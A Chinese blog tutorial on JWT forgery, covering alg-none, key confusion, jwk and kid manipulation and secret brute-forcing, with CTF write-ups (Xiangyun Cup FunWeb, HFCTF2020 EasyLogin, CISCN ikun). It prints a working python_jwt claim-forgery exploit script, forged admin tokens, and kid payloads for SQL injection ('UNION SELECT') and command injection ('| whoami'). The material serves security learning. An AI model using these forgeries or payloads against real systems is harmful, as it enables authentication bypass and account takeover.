JWT伪造的那些事

前言

第一次知道这个洞是祥云杯坐牢。。。 web题第一个就是这个题,而且当时这个题还是一个最新的在野1day复现,自然是没做出来,现在结束了,静下来把这个漏洞好好理解一遍。 部分内容是看别的师傅文章引用过来的 看完自己再写一遍印象更深哈哈。

什么是JWT?

Json web token (JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519)。该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。 其实说白了就是一个身份验证,只不过区别于传统的token和session的认证,他这种认证可以附带一些不是很敏感的信息。

JWT的构成

JWT由Header.Payload.Signature三部分构成。

图片[1]-JWT伪造的那些事-Drton1博客

Header

JWT头是一个描述JWT元数据的JSON对象alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。

最后,使用Base64 URL算法将上述JSON对象转换为字符串保存

格式为:

{
"alg": "HS256",
"typ": "JWT"
}

Payload

有效载荷部分,是JWT的主体内容部分,也是一个JSON对象,包含需要传递的数据。

JWT指定七个默认字段供选择:

iss:发行人
nbf:在此之前不可用(时间戳)
iat:发布时间(时间戳)
exp:到期时间(时间戳)
sub:主题
aud:用户
jti:JWT ID用于标识该JWT,主要用来作为一次性token,从而回避重放攻击。

除此之外还可以放一些自定义的字段信息,但是不建议放敏感信息,实际上一般也不会放敏感信息,因为这个都是base64进行编码的,也很容易进行还原,相当于公开的信息。

Signature

签名哈希部分是对上面两部分数据签名,需要使用base64编码后的header和payload数据,通过指定的算法生成哈希,公式如下:

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

这部分就是私密的了,再我们拿到一个jwt 而不知道密钥时候,是无法还原出这部分的内容的。

在计算出签名哈希后,JWT头,有效载荷和签名哈希的三个部分组合成一个字符串,每个部分用.分隔,就构成整个JWT对象

注意JWT每部分的作用,在服务端接收到客户端发送过来的JWT token之后:

  • header和payload可以直接利用base64解码出原文,从header中获取哈希签名的算法,从payload中获取有效数据
  • signature由于使用了不可逆的加密算法,无法解码出原文,它的作用是校验token有没有被篡改。服务端获取header中的加密算法之后,利用该算法加上secretKey对header、payload进行加密,比对加密后的数据和客户端发送过来的是否一致。注意secretKey只能保存在服务端,而且对于不同的加密算法其含义有所不同,一般对于MD5类型的摘要加密算法,secretKey实际上代表的是盐值

说人话就是 我访问一个网站带着jwt验证过去的,payload中假如有个是不是管理员的字段 我自己把他改成是,然后过去,服务器会对signature进行还原比较,signature的内容我们不知道密钥是无法修改的,于是就伪造身份失败了。

注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret,那就意味着客户端是可以自我签发jwt了。

左边就是上面三个部分加起来最终形成的jwt的样式:

图片[2]-JWT伪造的那些事-Drton1博客

JWT的种类

无加密算法的JWT

header部分中,参数alg置空的JWT。

这样的jwt 就只有两个部分 header 和 payload。

并没有signature部分。

JWS( JWT Signature)

其结构就是在之前nonsecure JWT的基础上,在头部声明签名算法,并在最后添加上签名。

创建签名,是保证jwt不能被他人随意篡改。

我们通常使用的JWT一般都是JWS

为了完成签名,除了用到header信息和payload信息外,还需要算法的密钥,也就是secretKey。

加密的算法一般有两类:

  • 对称加密:secretKey指加密密钥,可以生成签名与验签
  • 非对称加密:secretKey指私钥,只用来生成签名,不能用来验签(验签用的是公钥)

JWT的密钥或者密钥对,一般统一称为JSON Web Key,也就是JWK

JWT的验证方式

整体的验证可以参考这个流程图:

图片[3]-JWT伪造的那些事-Drton1博客

左边是浏览器 右边是服务器。

JWT本身包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限。为了减少盗用,JWT的有效期不宜设置太长。对于某些重要操作,用户在使用时应该每次都进行进行身份验证。为了减少盗用和窃取,JWT不建议使用HTTP协议来传输代码,而是使用加密的HTTPS协议进行传输。

JWT的安全风险

敏感信息泄露

如果不当的使用Header和Payload部分,在其中存储一些敏感信息,可能会产生一定安全风险,因为两者只经过简单的base64编码。

当然这种在实际环境中很少见,但是却能成为个别CTF比赛的web签到题的考点。

签名算法替换

如果应用不限制 JWT中使用的算法类型,导致算法类型可控,这样会带给JWT巨大的安全风险。

如果服务器不限制算法类型, 想一下 比如 他允许这个算法不唯一。

我们拿到jwt后 把header的算法类型给置空,这个时候payload里面的认证我们是不是就能随意修改,而且发到服务器后,服务器检查发现算法是空 就会依照这个方式去校验,从而就直接读取payload里面的认证信息,这个时候我们就伪造身份成功。

签名算法置空(CVE-2015-2951)

我们知道在JWT的头部中声明了token的类型和签名用的算法:

{
  "alg": "HS256",
  "typ": "JWT"
}

上header指定了签名算法为HS256,意味着服务端利用此算法将header和payload进行加密,形成signature,同时接收到token时,也会利用此算法对signature进行签名验证。

如果后端程序信任来源的JWT头部,那么当我们改变器头部算法,将其置空设置为

None

那么服务端接收到token后会将其认定为无加密算法, 于是对signature的检验也就失效了,那么我们就可以随意修改payload部分伪造token。

当然这一切的前提是,后端信任前端。

比如2022年首届数据安全题目中的一道web题,我们就可以通过该方法伪造token。

# 可以通过令algorithm为空,绕过对签名和密钥的检验
import jwt
payload = {
'username': 'admin'
}
token = jwt.encode(payload=payload,algorithm=None,key=None)
print(token)
'''
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
'''
图片[4]-JWT伪造的那些事-Drton1博客

非对称密码算法修改为对称算法(密钥混淆CVE-2016-10555)

HMAC和RSA是JWT比较常见的两种算法。

HMAC:token使用密钥签名,然后使用相同的密钥进行验证。(对称)

RSA :token将首先使用私钥创建,然后使用相应的公钥进行验证。(非对称)

对于两者,密钥和私钥都要保密,因为签名和校验依赖它们。

这里假设一个网站使用RSA生成和验证token,那么这里会有两个变量参与:私钥Prit和公钥Pub。

如果签名算法可控,我们将算法头改为HMAC,使用RSA的公钥Pub来生成一个token,那么我们将构造好的JWT发送回去时,后端验证查询则会用RSA的公钥Pub以HMAC的算法验证方式来验证token。

当然如果该漏洞存在,那么对于使用非对称加密的token,我们都可以尝试这样的方法,比如RS256变成HS256。

签名未校验/ 无效签名

某些服务端并未校验JWT签名,可以尝试修改signature后(或者直接删除signature),亦或者直接修改payload。 找到一个只有在被授权通过有效的JWT进行访问时才能访问此页面,我们将重放请求并寻找响应的变化以发现问题。 比如:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoicHJvYml1cyIsImFjdGlvbiI6InByb2ZpbGUifQ.5GVEWIw7-IdM9fQMt6H5Wxpmp1HpnyQb33CsXnZ9qKM
图片[5]-JWT伪造的那些事-Drton1博客

伪造密钥(CVE-2018-0114)

jwk是header里的一个参数,用于指出密钥,存在被伪造的风险。

比如CVE-2018-0114:

CVE – CVE-2018-0114 (mitre.org)

攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。 比如:

{
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"kid": "TEST",
"use": "sig",
"e": "AQAB",
"n": "oUGnPChFQAN1xdA1_f_FWZdFAis64o5hdVyFm4vVFBzTIEdYmZZ3hJHsWi5b_m_tjsgjhCZZnPOLn-ZVYs7pce__rDsRw9gfKGCVzvGYvPY1hkIENNeBfSaQlBhOhaRxA85rBkg8BX7zfMRQJ0fMG3EAZhYbr3LDtygwSXi66CCk4zfFNQfOQEF-Tgv1kgdTFJW-r3AKSQayER8kF3xfMuI7-VkKz-yyLDZgITyW2VWmjsvdQTvQflapS1_k9IeTjzxuKCMvAl8v_TFj2bnU5bDJBEhqisdb2BRHMgzzEBX43jc-IHZGSHY2KA39Tr42DVv7gS--2tyh8JluonjpdQ"
}
}

签名密钥爆破

按照JWT的结构,我们是可以得知其使用的签名算法的,如果可以爆破出对应的密钥,我们就能随意的”伪造”token了。

这里以HMAC签名举例:

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证。由于签名验证是一个自包含的过程,因此可以测试令牌本身的有效密钥,而不必将其发送回应用程序进行验证。因此,HMAC JWT破解是离线的,通过JWT破解工具,可以快速检查已知的泄漏密码列表或默认密码。

工具会在下边介绍。

泄露密钥

这个一般得打组合拳,配合如目录遍历、XXE、SSRF等可以读取存储密钥值文件漏洞,这样就可以窃取密钥并签署任意token。

KID操控

KID代表“密钥序号”(Key ID)。它是JWT头部的一个可选字段,开发人员可以用它标识认证token的某一密钥。KID参数的正确用法如下所示:

{
"alg": "HS256",
"typ": "JWT",
"kid": "1"        //使用密钥1验证token
}

由于此字段是由用户控制的,因此可能会被恶意操纵并导致危险的后果。

目录遍历

由于KID通常用于从文件系统中检索密钥文件,因此,如果在使用前不清理KID,文件系统可能会遭到目录遍历攻击。这样,攻击者便能够在文件系统中指定任意文件作为认证的密钥。

"kid": "../../public/css/main.css"   //使用公共文件main.css验证token

这样我们就可以强行设定应用程序使用公开可用文件作为密钥,并用该文件给HMAC加密的token签名。

SQL注入

KID也可以用于在数据库中检索密钥。在该情况下,攻击者很可能会利用SQL注入来绕过JWT安全机制。如果可以在KID参数上进行SQL注入,攻击者便能使用该注入返回任意值。

"kid":"aaaaaaa' UNION SELECT 'key';--"  //Use a string "key" Authentication token

上面这个注入会导致应用程序返回字符串“ key”,

因为数据库中不存在名为”aaaaaaa”的密钥,然后使用字符串“ key”作为密钥来认证token。

命令注入

有时,将KID参数直接传到不安全的文件读取操作可能会让一些命令注入代码流中。一些函数就能给此类型攻击可乘之机,比如Ruby open()。攻击者只需在输入的KID文件名后面添加命令,即可执行系统命令:

"key_file" | whoami;

类似情况还有很多,这只是其中一个例子。理论上,每当应用程序将未审查的头部文件参数传递给类似system()exec()的函数时,都会产生此种漏洞。

其他头部参数操控

除KID外,JWT标准还能让开发人员通过URL指定密钥。

JKU头部参数

JKU全称是“JWKSet URL”,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token。

jku URL->包含JWK集的文件->用于验证令牌的JWK

操纵X5U,X5C URL

同JKU或JWK头部类似,x5u和x5c头部参数允许攻击者用于验证Token的公钥证书或证书链。x5u以URI形式指定信息,而x5c允许将证书值嵌入token中。

JWT工具以及知识库

工具:

https://github.com/ticarpi/jwt_tool

图片[6]-JWT伪造的那些事-Drton1博客

密钥爆破:

mirrors / brendan-rius / c-jwt-cracker · GitCode

知识库:

Home · ticarpi/jwt_tool Wiki · GitHub

2022祥云杯—FunWeb-wp

我当时没做出来 ,这时网上找的wp,贴这里看看。

图片[7]-JWT伪造的那些事-Drton1博客
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

@Vows.batch
class ForgedClaims(Vows.Context):
    """ Check we get an error when payload is forged using mix of compact and JSON formats """
    def topic(self):
        """ Generate token """
        payload = {'sub': 'alice'}
        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))

    class PolyglotToken(Vows.Context):
        """ Make a forged token """
        def topic(self, topic):
            """ Use mix of JSON and compact format to insert forged claims including long expiration """
            [header, payload, signature] = topic.split('.')
            parsed_payload = loads(base64url_decode(payload))
            parsed_payload['sub'] = 'bob'
            parsed_payload['exp'] = 2000000000
            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
            return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

        class Verify(Vows.Context):
            """ Check the forged token fails to verify """
            @Vows.capture_error
            def topic(self, topic):
                """ Verify the forged token """
                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])

            def token_should_not_verify(self, r):
                """ Check the token doesn't verify due to mixed format being detected """
                expect(r).to_be_an_error()
                expect(str(r)).to_equal('invalid JWT format')

注意这一点注释:"Use mix of JSON and compact format to insert forged claims including long expiration"可以得知,这个漏洞的本质就是利用 json格式的注⼊

如果稍加改造,我们就可以获得一个EXP:

from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode(
        (dumps(parsed_payload, separators=(',', ':'))))
    # print (header+ '.' +fake_payload+ '.' +signature)
    # print (header+ '.' + payload+ '.' +signature)
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxNDE5MTUsImlhdCI6MTY2NzE0MTYxNSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiI1dnBYUmNpck1semxNUG54MHNTWDd3IiwibmJmIjoxNjY3MTQxNjE1LCJwYXNzd29yZCI6ImY2MWQiLCJ1c2VybmFtZSI6ImY2MWQifQ.cqQ2RVegORBfB_fo33birEJs8Tw8WDM7wIYwfXz_BpW6gQG99cl-DePmP6iNx5Mf0aCwDcuqS-wOXjis7JVmhpf8dmdYkP_gLvYMULpPcFX03j70Cu3bhMWSAGUMjt_IFGQ1-xfwYp1LI9SWAlBM5wDPCh-gi96abRDvhRW-c-6mFul2us_XKl7kyceT2fY2ABrcJRSKA91kLm3ZOcD4FA6yuHMyKVfmN9RqPtzvvUVutniv03XPFTGIzHudzswRc0b3nN-XMsnyi_Ca62T8CVb1MMEDPVlDM7CDJmJXGfoNimkrOhPi22SItpv4tO7u-bbene3PpvW1Lv7UEQeDBg'''

topic = topic(originaltoken)
print(topic)
图片[8]-JWT伪造的那些事-Drton1博客

相关漏洞链接:Commit88ad9e6

相关JWT赛题

[HFCTF2020]EasyLogin

题目:

图片[9]-JWT伪造的那些事-Drton1博客

开局经典登录框。弱口令先打一波 没用 只能去注册了。

注册了一个test test的账密登录:

图片[10]-JWT伪造的那些事-Drton1博客

登录 直接有个得到flag,直接get的话 不给 ,说没有权限,那我们抓包看看吧。。

图片[11]-JWT伪造的那些事-Drton1博客

拿到这些字段信息:

username=test&password=test&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJ0ZXN0IiwicGFzc3dvcmQiOiJ0ZXN0IiwiaWF0IjoxNjY4MTQ5OTk5fQ.MClGiuzDzWuOfBKG1fNtiRrrlzk3ljnucmMWGFYMQLM

发现authorization就是JWT的格式,拿去解码:

图片[12]-JWT伪造的那些事-Drton1博客

访问/controllers/api.js前端几个能看到的功能接口逻辑都在了,分析登录和注册接口

# 注册:

const secret = crypto.randomBytes(18).toString('hex');

const secretid = global.secrets.length;

global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

# 登录:

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

我们看到secretid值校验,要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过,而这个题利用的是 将加密方式改为’none’ 的方法,

图片[13]-JWT伪造的那些事-Drton1博客

拿到后 去替换然后登录成功!

图片[14]-JWT伪造的那些事-Drton1博客

此时查看flag权限就是够的。

图片[15]-JWT伪造的那些事-Drton1博客

CISCN 2019 华北赛区 Web – ikun

题目:

图片[16]-JWT伪造的那些事-Drton1博客

注册账密:

图片[17]-JWT伪造的那些事-Drton1博客

登陆后抓包发现JWT

图片[18]-JWT伪造的那些事-Drton1博客

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

图片[19]-JWT伪造的那些事-Drton1博客

解码后发现算法是HS256对称加密 ,也没什么敏感信息。

拿去密钥爆破:

图片[20]-JWT伪造的那些事-Drton1博客

修改用户名为admin 拿到伪造后的jwt

图片[21]-JWT伪造的那些事-Drton1博客

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

把该JWT替换然后重放。

图片[22]-JWT伪造的那些事-Drton1博客

成功伪造admin身份 登录:

图片[23]-JWT伪造的那些事-Drton1博客

结束

  • Tool:

https://github.com/ticarpi/jwt_tool

https://github.com/brendan-rius/c-jwt-cracker

  • Reference

https://github.com/ticarpi/jwt_tool/wiki

https://saucer-man.com/information_security/377.html

https://xz.aliyun.com/t/9376#toc-0

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 共14条

请登录后发表评论

      • Drton1的头像-Drton1博客Drton1LV6作者1